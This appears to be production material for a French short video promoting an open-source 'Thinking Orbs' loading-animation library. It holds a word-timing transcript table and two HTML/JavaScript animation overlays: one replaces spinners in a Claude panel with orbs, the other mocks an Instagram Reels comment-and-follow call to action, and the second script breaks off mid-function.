| 4.00 | 3.10 | d'internet |
| 4.52 | 3.55 | et |
| 4.56 | 3.59 | la |
| 4.64 | 3.66 | plupart |
| 4.92 | 3.90 | ne |
| 5.08 | 4.04 | marchent |
| 5.26 | 4.20 | même |
| 5.46 | 4.37 | pas. |
| 6.16 | 4.63 | Mais |
| 6.16 | 4.63 | ils |
| 6.18 | 4.65 | n'hésitent |
| 6.58 | 5.00 | pas |
| 6.60 | 5.01 | à |
| 6.62 | 5.03 | te |
| 6.71 | 5.11 | les |
| 6.85 | 5.23 | vendre |
| 7.15 | 5.49 | et |
| 7.22 | 5.55 | ça |
| 7.31 | 5.63 | m'a |
| 7.53 | 5.82 | vraiment |
| 7.80 | 6.06 | énervé. |
| 8.52 | 6.60 | Du |
| 8.56 | 6.63 | coup, |
| 8.64 | 6.70 | j'ai |
| 8.96 | 6.98 | fait |
| 8.98 | 7.00 | tout |
| 9.15 | 7.14 | ce |
| 9.20 | 7.19 | qu'un |
| 9.40 | 7.36 | dev |
| 9.52 | 7.47 | aurait |
| 9.89 | 7.79 | fait |
| 9.92 | 7.81 | et |
| 10.00 | 7.88 | j'ai |
| 10.15 | 8.01 | construit |
| 10.52 | 8.34 | le |
| 10.60 | 8.41 | mien. |
| 11.36 | 8.75 | Cette vidéo |
| 11.40 | 8.78 | et |
| 11.52 | 8.89 | tous |
| 11.76 | 9.10 | mes |
| 11.85 | 9.17 | shorts |
| 12.15 | 9.44 | sont |
| 12.35 | 9.61 | déjà |
| 12.69 | 9.82 | montés |
| 12.85 | 9.96 | avec, |
| 13.32 | 10.37 | donc |
| 13.35 | 10.39 | je |
| 13.45 | 10.48 | sais |
| 13.65 | 10.65 | que |
| 13.80 | 10.78 | ça |
| 13.93 | 10.90 | marche. |

<!doctype html><html><head><meta charset="utf-8">
<!-- "tu remplaces ton spinner ennuyeux par une orbe": a Claude panel with three status rows; the cursor clicks each grey
     spinner and the real Thinking Orbs (orbs.js) take its place. Short time 10.61 -> 13.35. Split layout: content y 60..1060. -->
<style>
  html, body { margin: 0; width: 1080px; height: 1920px; background: transparent; overflow: hidden; }
  * { box-sizing: border-box; }
  #panel { position: absolute; left: 60px; top: 96px; width: 960px; height: 920px; border-radius: 44px; background: #FAF9F5;
    border: 1.5px solid #E9E6DC;
    box-shadow: 0 2px 0 rgba(255,255,255,.9) inset, 0 40px 80px -20px rgba(20,20,19,.20), 0 12px 28px rgba(20,20,19,.08), 0 2px 6px rgba(20,20,19,.05); }
  #hd { position: absolute; left: 0; top: 0; width: 960px; height: 168px; border-bottom: 1.5px solid #ECE9DF; }
  #logo { position: absolute; left: 52px; top: 42px; width: 84px; height: 84px; border-radius: 22px; overflow: hidden;
    box-shadow: 0 6px 14px rgba(201,100,66,.25), 0 1px 2px rgba(20,20,19,.10); }
  #logo img { width: 100%; height: 100%; display: block; }
  #name { position: absolute; left: 162px; top: 34px; font-family: "Instrument Serif", Georgia, serif; font-size: 78px; line-height: 100px; color: #141413; letter-spacing: -.5px; }
  #model { position: absolute; right: 52px; top: 56px; height: 56px; padding: 0 26px; border-radius: 28px; background: #F0EEE6;
    font-family: "Inter", sans-serif; font-weight: 500; font-size: 34px; line-height: 56px; color: #73726C; }
  .row { position: absolute; left: 44px; width: 872px; height: 206px; border-radius: 30px; background: #FFFFFF; border: 1.5px solid #E9E6DC;
    box-shadow: 0 10px 24px -8px rgba(20,20,19,.10), 0 2px 4px rgba(20,20,19,.04); }
  .ring { position: absolute; left: 22px; top: 22px; width: 160px; height: 160px; border-radius: 50%; }
  .spin, .orb { position: absolute; left: 22px; top: 22px; width: 160px; height: 160px; }
  .lab { position: absolute; left: 212px; font-family: "Inter", sans-serif; font-weight: 600; font-size: 52px; color: #141413; letter-spacing: -.6px; white-space: nowrap; }
  .sub { position: absolute; left: 212px; font-family: "Inter", sans-serif; font-weight: 400; font-size: 38px; color: #73726C; white-space: nowrap; }
  #cur { position: absolute; left: 0; top: 0; width: 66px; height: 96px; transform-origin: 0 0; filter: drop-shadow(0 6px 8px rgba(0,0,0,.28)); }
</style></head><body>
<div id="panel">
  <div id="hd"><div id="logo"><img src="../assets/logos/claude.png"></div><div id="name">Claude</div><div id="model">Opus</div></div>
</div>
<svg id="cur" viewBox="-3 -3 26 38"><path d="M0 0 L0 28.5 L6.6 22.4 L10.9 32.4 L15.6 30.4 L11.4 20.6 L20.2 20.6 Z" fill="#111" stroke="#fff" stroke-width="2.2" stroke-linejoin="round"/></svg>
<script src="orbs.js"></script>
<script>
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const lerp = (a, b, f) => a + (b - a) * f;
const mix = (c1, c2, f) => `rgb(${c1.map((v, i) => Math.round(lerp(v, c2[i], f))).join(',')})`;

// rows: label, sub, orb state, click time
const ROWS = [
  { lab: 'Loading', sub: null, state: 'breathing', c: 0.69 },
  { lab: 'Search', sub: 'Searching 1 204 results', state: 'searching', c: 1.23 },
  { lab: 'Upload', sub: null, state: 'composing', c: 1.71 },
];
const panel = document.getElementById('panel');
const PX = 160, DPR = 2;   // canvas drawn at 2x for crisp dots
ROWS.forEach((r, i) => {
  r.y = 214 + i * 232;
  const el = document.createElement('div'); el.className = 'row'; el.style.top = r.y + 'px';
  el.innerHTML = `<div class="ring"></div><canvas class="spin" width="${PX * DPR}" height="${PX * DPR}"></canvas><canvas class="orb" width="${PX * DPR}" height="${PX * DPR}"></canvas>
    <div class="lab" style="top:${r.sub ? 34 : 70}px;line-height:66px">${r.lab}</div>${r.sub ? `<div class="sub" style="top:110px;line-height:50px">${r.sub}</div>` : ''}`;
  panel.appendChild(el);
  r.el = el; r.ring = el.querySelector('.ring'); r.spin = el.querySelector('.spin'); r.orb = el.querySelector('.orb');
  r.sctx = r.spin.getContext('2d'); r.octx = r.orb.getContext('2d');
  r.preset = ORBS.resolvePreset(r.state, 32);
});

// page coords of each spinner centre (panel 60,96 + row 44,y + 22+80)
ROWS.forEach(r => { r.cx = 60 + 44 + 22 + 80; r.cy = 96 + r.y + 22 + 80; });
// cursor waypoints: [time arrive, x, y] (tip slightly below-right of the spinner centre)
const tip = r => [r.cx + 18, r.cy + 22];
const WP = [
  [0.00, 820, 880],
  [0.55, ...tip(ROWS[0])],
  [0.80, ...tip(ROWS[0])],
  [1.13, ...tip(ROWS[1])],
  [1.30, ...tip(ROWS[1])],
  [1.61, ...tip(ROWS[2])],
  [1.80, ...tip(ROWS[2])],
  [2.25, 800, 930],
];
function cursorAt(t) {
  if (t <= WP[0][0]) return WP[0].slice(1);
  for (let i = 0; i < WP.length - 1; i++) {
    const [t0, x0, y0] = WP[i], [t1, x1, y1] = WP[i + 1];
    if (t < t1 || i === WP.length - 2) {
      const d = t1 - t0, f = Math.min(1, (t - t0) / d);
      // spring-shaped ease in time (no overshoot), normalised to land exactly on the waypoint
      const e = S(f, 7) / S(1, 7);
      return [lerp(x0, x1, e), lerp(y0, y1, e)];
    }
  }
}
const cur = document.getElementById('cur');
const press = x => Math.max(0, S(x, 60) - S(x - 0.09, 34));   // 0 -> 1 -> 0 over ~.2 s, never below 0

function drawSpinner(ctx, ang) {
  ctx.setTransform(DPR, 0, 0, DPR, 0, 0); ctx.clearRect(0, 0, PX, PX);
  ctx.lineWidth = 9; ctx.lineCap = 'round';
  ctx.strokeStyle = '#E6E4DC'; ctx.beginPath(); ctx.arc(80, 80, 42, 0, Math.PI * 2); ctx.stroke();
  ctx.strokeStyle = '#A3A19A'; ctx.beginPath(); ctx.arc(80, 80, 42, ang, ang + Math.PI * 0.55); ctx.stroke();
}
function drawOrb(r, t) {
  const { mode, speed, opts } = r.preset, k = PX * DPR / 64;
  r.octx.setTransform(k, 0, 0, k, 0, 0); r.octx.clearRect(0, 0, 64, 64);
  ORBS.paintFrame(r.octx, ORBS.MODE_FRAMES[mode](64, t * speed, opts), false);
}

window.setT = t => {
  // settle .15 s
  const st = S(t + 0.06, 30);
  panel.style.transform = `translateY(${(1 - st) * 14}px)`;
  ROWS.forEach((r, i) => {
    const e = S(t + 0.08 - i * 0.03, 30);
    const p = press(t - r.c);
    const sw = S(t - r.c, 26);                 // spinner out
    const oi = S(t - r.c - 0.02, 20);          // orb in
    const hl = S(t - 2.07 - i * 0.07, 16);     // blue highlight on "orbe"
    r.el.style.transform = `translateY(${(1 - e) * 18}px) scale(${1 - p * 0.012})`;
    r.el.style.background = mix([255, 255, 255], [242, 240, 232], p);
    r.el.style.borderColor = mix([233, 230, 220], [146, 196, 255], hl);
    r.ring.style.background = `rgba(37,142,255,${0.09 * hl})`;
    r.ring.style.transform = `scale(${0.7 + 0.3 * hl})`;
    // spinner: steady boring rotation
    if (sw < 0.999) {
      drawSpinner(r.sctx, t * Math.PI * 2 * 1.05 + i * 1.3);
      r.spin.style.opacity = 1 - sw; r.spin.style.transform = `scale(${1 - 0.35 * sw})`;
      r.spin.style.display = '';
    } else r.spin.style.display = 'none';
    if (oi > 0.001) {
      drawOrb(r, t);
      r.orb.style.opacity = oi; r.orb.style.transform = `scale(${0.72 + 0.28 * oi})`;
      r.orb.style.display = '';
    } else r.orb.style.display = 'none';
  });
  // cursor
  const [x, y] = cursorAt(t);
  const pr = ROWS.reduce((m, r) => Math.max(m, press(t - r.c)), 0);
  cur.style.transform = `translate(${x - 7.6}px, ${y - 7.6}px) scale(${1 - 0.14 * pr})`;
};
setT(0);
</script></body></html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Comment CTA (short 23.18 to the end, dur 2.80): the camera is full screen and the Instagram Reels UI is already over it,
     as if the viewer were watching this very reel. The finger taps the comment icon on « Commente », the light comments sheet
     comes up (top 1242 px, the face stays clear), « ORBES » is typed on « Orb », Publier is tapped on « je », the comment posts
     on « t'envoie », toncompte's DM drops as an iOS banner on « le » and its GitHub link line opens on « repo », the sheet goes
     down on « du », the finger taps Suivre on « suis » and it turns into Abonné(e). Holds to the end.
     Transparent, 400x711.1 CSS at zoom 2.7 = 1080x1920. window.setT(t) draws the state at t seconds, pure function of t.
     Adapted from short-insta-skills-nico/source/ig-cta.html. -->
<style>
  html, body { margin: 0; background: transparent; }
  body { zoom: 2.7; width: 400px; height: 711.12px; overflow: hidden; color: #f5f5f5; -webkit-font-smoothing: antialiased;
    font-family: -apple-system, "SF Pro Text", "Inter", "Helvetica Neue", sans-serif; }
  #app { position: relative; width: 400px; height: 711.12px; overflow: hidden; }
  svg { display: block; }
  #gtop { position: absolute; left: 0; top: 0; width: 400px; height: 100px; background: linear-gradient(to bottom, rgba(0,0,0,.36), rgba(0,0,0,0)); }
  #gbot { position: absolute; left: 0; bottom: 0; width: 400px; height: 200px; background: linear-gradient(to top, rgba(0,0,0,.6), rgba(0,0,0,.22) 55%, rgba(0,0,0,0)); }
  .sh { filter: drop-shadow(0 1px 2px rgba(0,0,0,.4)); }
  .tsh { text-shadow: 0 1px 3px rgba(0,0,0,.5); }
  #status { position: absolute; left: 0; top: 0; width: 400px; height: 30px; display: flex; align-items: center; justify-content: space-between;
    padding: 0 26px 0 34px; box-sizing: border-box; font-size: 14px; font-weight: 600; letter-spacing: -.2px; z-index: 30; }
  #status .ic { display: flex; align-items: center; gap: 5px; }
  #rtitle { position: absolute; left: 22px; top: 38px; font-size: 22px; font-weight: 700; letter-spacing: -.5px; display: flex; align-items: center; gap: 4px; }
  #rcam { position: absolute; right: 24px; top: 38px; }
  /* right action column, under the caption band (y 1237 px = 458 CSS) */
  .rail { position: absolute; left: 358px; top: 0; width: 0; }
  .rail .it { position: absolute; left: -20px; width: 40px; display: flex; flex-direction: column; align-items: center; }
  .rail .ct { font-size: 13px; font-weight: 600; margin-top: 4px; height: 17px; position: relative; width: 60px; text-align: center; letter-spacing: -.1px; overflow: hidden; }
  .rail .ct span { position: absolute; left: 0; right: 0; top: 0; }
  #audio { position: absolute; left: 345px; top: 664px; width: 26px; height: 26px; border-radius: 6px; overflow: hidden; border: 1.5px solid #fff; box-sizing: border-box; }
  #audio img { width: 100%; height: 100%; object-fit: cover; transform: scale(1.32); }
  #info { position: absolute; left: 22px; top: 584px; width: 300px; }
  #info .who { display: flex; align-items: center; gap: 9px; height: 30px; }
  #info .who img { width: 30px; height: 30px; border-radius: 50%; }
  #info .who b { font-size: 14px; font-weight: 700; letter-spacing: -.1px; }
  #follow { position: relative; height: 27px; border-radius: 8px; margin-left: 2px; box-sizing: border-box; }
  #follow .fb { position: absolute; inset: 0; border-radius: 8px; border: 1px solid rgba(255,255,255,.78); box-sizing: border-box; }
  #follow .fg { position: absolute; inset: 0; border-radius: 8px; background: rgba(255,255,255,.22); }
  #follow span { position: absolute; left: 0; right: 0; top: 0; height: 27px; display: flex; align-items: center; justify-content: center; gap: 4px;
    font-size: 13px; font-weight: 600; white-space: nowrap; letter-spacing: -.1px; }
  #cap { font-size: 13.5px; line-height: 18px; margin-top: 10px; white-space: nowrap; letter-spacing: -.1px; }
  #cap i { font-style: normal; color: rgba(255,255,255,.72); }
  #music { font-size: 13px; margin-top: 7px; display: flex; align-items: center; gap: 6px; letter-spacing: -.1px; }
  #prog { position: absolute; left: 0; bottom: 0; width: 400px; height: 2px; background: rgba(255,255,255,.28); }
  #prog i { position: absolute; left: 0; top: 0; height: 2px; background: #fff; }
  #dim { position: absolute; inset: 0; background: #000; z-index: 25; }
  /* comments sheet, light mode: its top sits at 460 CSS (1242 px), under the caption band, the face stays clear */
  #sheet { position: absolute; left: 0; top: 460px; width: 400px; height: 251.12px; background: #fff; color: #000; border-radius: 16px 16px 0 0; z-index: 26; overflow: hidden;
    box-shadow: 0 -6px 22px rgba(0,0,0,.22); }
  #handle { position: absolute; left: 182px; top: 8px; width: 36px; height: 4px; border-radius: 2px; background: #c7c7c7; }
  #stitle { position: absolute; left: 0; top: 20px; width: 400px; text-align: center; font-size: 15.5px; font-weight: 700; letter-spacing: -.2px; }
  #splane { position: absolute; right: 26px; top: 19px; }
  #hair { position: absolute; left: 0; top: 50px; width: 400px; height: .5px; background: rgba(0,0,0,.12); }
  #list { position: absolute; left: 0; top: 0; width: 400px; height: 192px; overflow: hidden; }
  .crow { position: absolute; left: 0; width: 400px; height: 62px; }
  .crow .hl { position: absolute; inset: 0; background: rgba(0,149,246,.09); }
  .cav { position: absolute; left: 22px; top: 9px; width: 32px; height: 32px; border-radius: 50%; display: flex; align-items: center; justify-content: center;
    font-weight: 800; font-size: 13px; color: #fff; overflow: hidden; }
  .cav img, .cav svg { width: 100%; height: 100%; }
  .cbody { position: absolute; left: 64px; top: 7px; width: 270px; }
  .cname { font-size: 13px; line-height: 17px; display: flex; gap: 6px; align-items: baseline; }
  .cname b { font-weight: 600; letter-spacing: -.1px; } .cname span { color: #737373; font-size: 13px; }
  .ctext { font-size: 15px; line-height: 20px; letter-spacing: -.15px; white-space: nowrap; }
  .creply { font-size: 13px; line-height: 16px; color: #737373; font-weight: 600; margin-top: 1px; }
  .clike { position: absolute; left: 346px; top: 14px; width: 24px; height: 34px; display: flex; flex-direction: column; align-items: center; gap: 2px;
    font-size: 13px; color: #737373; }
  /* composer, the bottom of the sheet */
  #composer { position: absolute; left: 0; top: 192px; width: 400px; height: 59.12px; background: #fff; }
  #composer .hair { position: absolute; left: 0; top: 0; width: 400px; height: .5px; background: rgba(0,0,0,.1); }
  #cav2 { position: absolute; left: 22px; top: 13px; width: 32px; height: 32px; border-radius: 50%; overflow: hidden; }
  #field { position: absolute; left: 62px; top: 9px; width: 314px; height: 40px; border-radius: 20px; border: 1px solid #dbdbdb; box-sizing: border-box; }
  #ftext { position: absolute; left: 15px; top: 0; height: 38px; display: flex; align-items: center; font-size: 17px; font-weight: 600; letter-spacing: .2px; color: #000; }
  #ftext span { display: inline-block; }
  #ph { position: absolute; left: 15px; top: 0; height: 38px; display: flex; align-items: center; font-size: 15px; color: #737373; letter-spacing: -.1px; }
  #caret { width: 2px; height: 21px; border-radius: 1px; background: #0095F6; margin-left: 1px; }
  #pub { position: absolute; right: 15px; top: 0; height: 38px; display: flex; align-items: center; font-size: 15px; font-weight: 700; color: #0095F6; transform-origin: 70% 50%; }
  /* iOS communication notification banner, light mode (sender avatar + Instagram badge) */
  .ban { position: absolute; left: 12px; top: 15px; width: 376px; border-radius: 22px; background: rgba(246,246,248,.97); color: #000; overflow: hidden;
    box-shadow: 0 8px 22px rgba(0,0,0,.24), 0 0 0 .5px rgba(0,0,0,.06) inset; z-index: 40; transform-origin: 50% 0%; }
  .ban .av { position: absolute; left: 12px; top: 11px; width: 42px; height: 42px; }
  .ban .av > img { width: 42px; height: 42px; border-radius: 50%; }
  .ban .badge { position: absolute; left: 26px; top: 26px; width: 19px; height: 19px; border-radius: 5px; overflow: hidden; box-shadow: 0 0 0 1.5px rgba(246,246,248,1); }
  .ban .badge img { width: 100%; height: 100%; transform: scale(1.06); }
  .ban .tx { position: absolute; left: 66px; top: 11px; width: 298px; }
  .ban .t1 { font-size: 15px; line-height: 19px; font-weight: 700; letter-spacing: -.2px; display: flex; justify-content: space-between; }
  .ban .t1 i { font-style: normal; font-weight: 400; font-size: 13px; color: #6e6e73; }
  .ban .t2 { font-size: 15px; line-height: 19px; letter-spacing: -.2px; margin-top: 1px; }
  .ban .t3 { display: flex; align-items: center; gap: 5px; height: 20px; margin-top: 2px; font-size: 14px; letter-spacing: -.25px; color: #1d1d1f; white-space: nowrap; }
  .ban .t3 img { width: 16px; height: 16px; }
  /* the viewer's finger */
  #dot { position: absolute; left: 0; top: 0; width: 34px; height: 34px; margin: -17px 0 0 -17px; border-radius: 50%; z-index: 60;
    box-sizing: border-box; border: 2px solid rgba(255,255,255,.95); box-shadow: 0 2px 10px rgba(0,0,0,.3); }
  .rip { position: absolute; left: 0; top: 0; width: 60px; height: 60px; margin: -30px 0 0 -30px; border-radius: 50%; z-index: 59;
    box-sizing: border-box; border: 2px solid rgba(255,255,255,.9); }
</style></head>
<body><div id="app">
  <div id="gtop"></div><div id="gbot"></div>

  <div id="status" class="tsh"><span>9:41</span><div class="ic">
    <svg width="18" height="12" viewBox="0 0 18 12" fill="#fff"><rect x="0" y="8" width="3" height="4" rx="1"/><rect x="5" y="5.5" width="3" height="6.5" rx="1"/><rect x="10" y="3" width="3" height="9" rx="1"/><rect x="15" y="0" width="3" height="12" rx="1"/></svg>
    <svg width="16" height="12" viewBox="0 0 16 12" fill="#fff"><path d="M8 2.6c2.2 0 4.2.85 5.7 2.250l1.2-1.25C13.1 1.9 10.7.9 8 .9S2.9 1.9 1.1 3.6l1.2 1.250C3.8 3.45 5.8 2.6 8 2.6z"/><path d="M8 6.1c1.25 0 2.4.5 3.25 1.3l1.2-1.25A6.4 6.4 0 0 0 8 4.4c-1.7 0-3.3.65-4.450 1.750l1.2 1.25C5.6 6.6 6.75 6.1 8 6.1z"/><path d="M8 9.4l2-2.05a2.8 2.8 0 0 0-4 0z" transform="translate(0 1.4)"/></svg>
    <svg width="27" height="13" viewBox="0 0 27 13"><rect x=".5" y=".5" width="23" height="12" rx="3.6" fill="none" stroke="rgba(255,255,255,.45)"/><rect x="2" y="2" width="18" height="9" rx="2.2" fill="#fff"/><path d="M25 4.5v4c.8-.3 1.3-1.1 1.3-2s-.5-1.7-1.3-2z" fill="rgba(255,255,255,.45)"/></svg>
  </div></div>

  <div id="rtitle" class="tsh">Reels<svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="3" stroke-linecap="round" stroke-linejoin="round" style="margin-top:3px"><path d="M6 9l6 6 6-6"/></svg></div>
  <div id="rcam" class="sh"><svg width="26" height="26" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="1.9" stroke-linejoin="round"><path d="M3 8.6c0-1.2 1-2.1 2.1-2.1h2.3l1.4-2h6.4l1.4 2h2.3c1.2 0 2.1 1 2.1 2.1v9.3c0 1.2-1 2.1-2.1 2.1H5.1C4 20 3 19 3 17.9z"/><circle cx="12" cy="12.8" r="3.7"/></svg></div>

  <div class="rail">
    <div class="it sh rit" style="top:458px">
      <svg width="28" height="28" viewBox="0 0 24 24"><path fill="#fff" d="M16.792 3.904A4.989 4.989 0 0 1 21.5 9.122c0 3.072-2.652 4.959-5.197 7.222-2.512 2.243-3.865 3.469-4.303 3.752-.477-.309-2.143-1.823-4.303-3.752C5.141 14.072 2.5 12.167 2.5 9.122a4.989 4.989 0 0 1 4.708-5.218 4.21 4.21 0 0 1 3.675 1.941c.84 1.175.98 1.763 1.120 1.763s.278-.588 1.11-1.766a4.17 4.17 0 0 1 3.679-1.938m0-2a6.040 6.040 0 0 0-4.797 2.127 6.052 6.052 0 0 0-4.787-2.127A6.985 6.985 0 0 0 .5 9.122c0 3.610 2.550 5.827 5.015 7.970.283.246.569.494.853.747l1.027.918a44.998 44.998 0 0 0 3.518 3.018 2 2 0 0 0 2.174 0 45.263 45.263 0 0 0 3.626-3.115l.922-.824c.293-.26.59-.519.885-.774 2.334-2.025 4.98-4.320 4.98-7.940a6.985 6.985 0 0 0-6.708-7.218Z"/></svg>
      <div class="ct tsh"><span>21,4&nbsp;k</span></div>
    </div>
    <div class="it sh rit" id="icom" style="top:518px">
      <svg id="comsvg" width="28" height="28" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="2" stroke-linejoin="round"><path d="M20.656 17.008a9.993 9.993 0 1 0-3.59 3.615L22 22Z"/></svg>
      <div class="ct tsh"><span id="cc0">3&nbsp;118</span><span id="cc1">3&nbsp;119</span></div>
    </div>
    <div class="it sh rit" style="top:578px">
      <svg width="27" height="27" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="2" stroke-linejoin="round"><line x1="22" x2="9.218" y1="3" y2="10.083"/><polygon points="11.698 20.334 22 3.001 2 3.001 9.218 10.084 11.698 20.334"/></svg>
      <div class="ct tsh"><span>5&nbsp;260</span></div>
    </div>
    <div class="it sh rit" style="top:634px">
      <svg width="24" height="24" viewBox="0 0 24 24" fill="#fff"><circle cx="5" cy="12" r="1.7"/><circle cx="12" cy="12" r="1.7"/><circle cx="19" cy="12" r="1.7"/></svg>
    </div>
  </div>
  <div id="audio"><img src="../assets/images/avatar.png"></div>

  <div id="info" class="tsh">
    <div class="who"><img src="../assets/images/avatar.png"><b>toncompte</b>
      <div id="follow"><div class="fb"></div><div class="fg"></div>
        <span id="fl0">Suivre</span>
        <span id="fl1"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="3.2" stroke-linecap="round" stroke-linejoin="round"><path d="M4.5 12.5l5 5 10-11"/></svg>Abonné(e)</span>
      </div></div>
    <div id="cap">Thinking Orbs, la lib open source<i>… plus</i></div>
    <div id="music"><svg width="12" height="12" viewBox="0 0 24 24" fill="#fff"><path d="M9 3v11.6A3.5 3.5 0 1 0 11 18V8h8V3z"/></svg><span>toncompte · Son original</span></div>
  </div>
  <div id="prog"><i id="progi"></i></div>

  <div id="dim"></div>
  <div id="sheet">
    <div id="list"></div>
    <div id="handle"></div>
    <div id="stitle">Commentaires</div>
    <div id="splane"><svg width="22" height="22" viewBox="0 0 24 24" fill="none" stroke="#000" stroke-width="2" stroke-linejoin="round"><line x1="22" x2="9.218" y1="3" y2="10.083"/><polygon points="11.698 20.334 22 3.001 2 3.001 9.218 10.084 11.698 20.334"/></svg></div>
    <div id="hair"></div>
    <div id="composer">
      <div class="hair"></div>
      <div id="cav2"></div>
      <div id="field"><div id="ph">Ajouter un commentaire…</div><div id="ftext"><span id="typed"></span><i id="caret"></i></div><div id="pub">Publier</div></div>
    </div>
  </div>

  <div class="ban" id="ban1">
    <div class="av"><img src="../assets/images/avatar.png"><div class="badge"><img src="../assets/logos/instagram.png"></div></div>
    <div class="tx"><div class="t1">toncompte<i>maintenant</i></div><div class="t2">Voici le repo Thinking Orbs</div>
      <div class="t3" id="blink"><img src="../assets/logos/github.png"><span>github.com/Jakubantalik/thinking-orbs</span></div></div>
  </div>

  <div class="rip" id="rip0"></div><div class="rip" id="rip1"></div>
  <div id="dot"></div>
</div>
<script>
const $ = id => document.getElementById(id);
const clamp = (v, a = 0, b = 1) => Math.min(b, Math.max(a, v));
const seg = (t, a, b) => clamp((t - a) / (b - a));
// critically damped spring from rest (never overshoots)
const S = (x, w = 14) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
// same spring with a launch velocity k in [0,1]: still never overshoots
const SV = (x, w = 14, k = .6) => x <= 0 ? 0 : 1 - (1 + w * (1 - k) * x) * Math.exp(-w * x);
const out = p => 1 - Math.pow(1 - p, 3), io = p => p < .5 ? 4 * p * p * p : 1 - Math.pow(-2 * p + 2, 3) / 2;
const lerp = (a, b, p) => a + (b - a) * p;
const HEART_O = '<svg width="14" height="14" viewBox="0 0 24 24"><path fill="#737373" d="M16.792 3.904A4.989 4.989 0 0 1 21.5 9.122c0 3.072-2.652 4.959-5.197 7.222-2.512 2.243-3.865 3.469-4.303 3.752-.477-.309-2.143-1.823-4.303-3.752C5.141 14.072 2.5 12.167 2.5 9.122a4.989 4.989 0 0 1 4.708-5.218 4.21 4.21 0 0 1 3.675 1.941c.84 1.175.98 1.763 1.12 1.763s.278-.588 1.11-1.766a4.17 4.17 0 0 1 3.679-1.938m0-2a6.04 6.04 0 0 0-4.797 2.127 6.052 6.052 0 0 0-4.787-2.127A6.985 6.985 0 0 0 .5 9.122c0 3.61 2.55 5.827 5.015 7.97.283.246.569.494.853.747l1.027.918a44.998 44.998 0 0 0 3.518 3.018 2 2 0 0 0 2.174 0 45.263 45.263 0 0 0 3.626-3.115l.922-.824c.293-.26.59-.519.885-.774 2.334-2.025 4.98-4.32 4.98-7.94a6.985 6.985 0 0 0-6.708-7.218Z"/></svg>';
const DEF_AV = '<svg viewBox="0 0 32 32"><circle cx="16" cy="16" r="16" fill="#dbdbdb"/><circle cx="16" cy="12.6" r="5.6" fill="#fafafa"/><path d="M5.6 27.6c1.9-4.9 6-7.5 10.4-7.5s8.5 2.6 10.4 7.500A15.9 15.9 0 0 1 16 32a15.9 15.9 0 0 1-10.4-4.4z" fill="#fafafa"/></svg>';

// ---- event times, τ = seconds from the overlay start (short 23.18). Words: Commente 0, Orb(ES) .33, et .59, je .66,
// t'envoie .73, le .94, repo 1.03, du 1.38, moment 1.45, que 1.62, tu 1.67, me 1.76, suis 1.86. The chrome is there at τ 0.
const TAP_COM = .05, T_SHEET = .13, TYPE = [.33, .39, .45, .51, .57], T_PUB_ON = .33;
const TAP_PUB = .66, T_POST = .73, T_BAN = .94, T_LINK = 1.03, T_SHEET_OUT = 1.36, T_BACK = 1.42, TAP_FOL = 1.86;

const OLD = [
  ['lucas.dev', '1 min', 'ORBES', 'linear-gradient(135deg,#2bb673,#0b6e4f)', 'L', '24'],
  ['sarah.creates', '2 min', 'ORBES', 'linear-gradient(135deg,#ff7a59,#c2185b)', 'S', '19'],
  ['tom.codes', '4 min', 'ORBES, trop propre cette lib', 'linear-gradient(135deg,#5b4bdb,#1b9cff)', 'T', '12'],
];
const mkRow = (name, age, text, av, likes, hl) => {
  const r = document.createElement('div'); r.className = 'crow';
  r.innerHTML = (hl ? '<div class="hl"></div>' : '') + `<div class="cav"${av.bg ? ` style="background:${av.bg}"` : ''}>${av.html}</div>
    <div class="cbody"><div class="cname"><b>${name}</b><span>${age}</span></div><div class="ctext">${text}</div><div class="creply">Répondre</div></div>
    <div class="clike">${HEART_O}<span>${likes}</span></div>`;
  $('list').appendChild(r); return r;
};
const LIST_TOP = 54, ROW_H = 62;
const newRow = mkRow('toi', "à l'instant", '<b style="font-weight:600">ORBES</b>', { html: DEF_AV }, '', true);
const oldRows = OLD.map(([n, a, tx, bg, ini, l]) => mkRow(n, a, tx, { bg, html: ini }, l));
$('cav2').innerHTML = DEF_AV;
const letters = 'ORBES'.split('').map(c => { const s = document.createElement('span'); s.textContent = c; $('typed').appendChild(s); return s; });
const railIt = [...document.querySelectorAll('.rit')], infoIt = [...$('info').children];

// follow button widths (Suivre -> Abonné(e)), banner heights (2 lines -> with the link line)
const FW0 = 60, FW1 = 98, BH0 = 60, BH1 = 82;

// the viewer's finger: [t0, t1, x, y] eased moves (CSS px); a move with t0 = t1 is a jump while the finger is hidden
const COM = [358, 532], PUB = [340, 681], FOL = [184, 599];
const MOVES = [[0, 0, COM[0] - 6, COM[1] + 10], [0, .045, COM[0], COM[1]], [.12, .26, 372, 600], [.4, .4, 352, 735], [.44, .63, PUB[0], PUB[1]], [.74, .96, 318, 760],
  [1.5, 1.5, 236, 700], [1.56, 1.80, FOL[0], FOL[1]], [1.98, 2.30, 230, 700]];
const TAPS = [TAP_COM, TAP_PUB, TAP_FOL];
const VIS = [[-1, 0, .12, .26], [.44, .54, .78, .96], [1.52, 1.62, 2.04, 2.30]];
function curAt(t) {
  let x = MOVES[0][2], y = MOVES[0][3];
  for (const [a, b, nx, ny] of MOVES) { if (t < a) break; const p = b > a ? io(seg(t, a, b)) : 1; x = lerp(x, nx, p); y = lerp(y, ny, p); }
  return [x, y];
}
const pressAt = (t, a) => { const d = t - a; return d > -.05 && d < .09 ? clamp(1 - Math.abs(d - .015) / .065) : 0; };
const show = (el, v) => { el.style.display = v > .001 ? '' : 'none'; };

window.setT = function (t) {
  // the rail, the info and the bottom gradient fade under the opening sheet, and come back once it goes down
  const hc = io(seg(t, T_SHEET + .02, T_SHEET + .2)) * (1 - io(seg(t, T_BACK, T_BACK + .24)));
  $('gbot').style.opacity = 1 - .6 * hc;
  railIt.forEach(el => { el.style.opacity = 1 - hc; });
  $('audio').style.opacity = 1 - hc;
  infoIt.forEach((el, i) => {
    const back = S(t - (T_BACK + i * .04), 18);
    el.style.opacity = t < T_BACK ? 1 - hc : back; el.style.transform = `translateY(${t < T_BACK ? 0 : 10 * (1 - back)}px)`;
  });
  $('prog').style.opacity = 1 - hc;
